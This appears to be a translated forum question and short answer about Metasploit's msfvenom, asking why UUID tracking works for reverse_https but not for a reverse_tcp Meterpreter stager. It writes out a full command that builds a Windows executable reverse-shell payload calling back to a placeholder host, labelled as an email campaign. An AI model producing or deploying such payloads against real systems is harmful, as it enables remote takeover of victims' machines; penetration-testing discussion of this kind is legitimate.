Meterpreter reverse_tcp stager и отслеживание UUID
Я пытаюсь создать stameter meterpreter/reverse_tcp с отслеживанием UUID, но ~/.msf4/payloads.json не создан.
Это команда msfvenom:
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=example.com LPORT=4444 PayloadUUIDTracking=true PayloadUUIDName=EmailCampaign20150101 -f exe -o payload.exe
Но когда я меняю полезную нагрузку на meterpreter / reverse_https, все работает так, как я ожидал.
Что это значит? Stagers reverse_tcp не поддерживает UUID? Потому что, когда я смотрю на код ASM для stager meterpreter/reverse_tcp, он содержит раздел, когда отправляется UUID. https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb#L179
Спасибо за предложения.
1 ответ
Полезные данные и обработчик reverse_tcp_uuid поддерживают отслеживание UUID.